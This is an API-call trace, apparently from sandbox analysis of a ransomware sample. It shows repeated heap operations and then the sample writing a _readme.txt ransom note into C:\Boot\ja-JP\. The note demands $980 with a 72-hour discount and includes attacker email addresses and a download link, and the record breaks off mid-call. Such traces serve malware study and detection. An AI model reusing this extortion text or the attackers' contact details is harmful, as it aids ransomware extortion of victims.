RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.124] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.124] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.125] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.125] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.126] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.126] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.127] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.127] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.128] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.128] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.129] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.129] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.129] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.129] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.129] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.129] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.129] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.129] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.129] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.129] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.129] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.129] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.129] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.129] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0117.129] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.129] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.129] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.129] PathFindFileNameW (pszPath="") returned="" [0117.130] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.130] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.130] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.130] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.130] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.130] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.130] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.130] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0117.130] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0117.130] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.130] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.131] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.131] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.131] HeapFree (in: hHeap=0x35b0000, 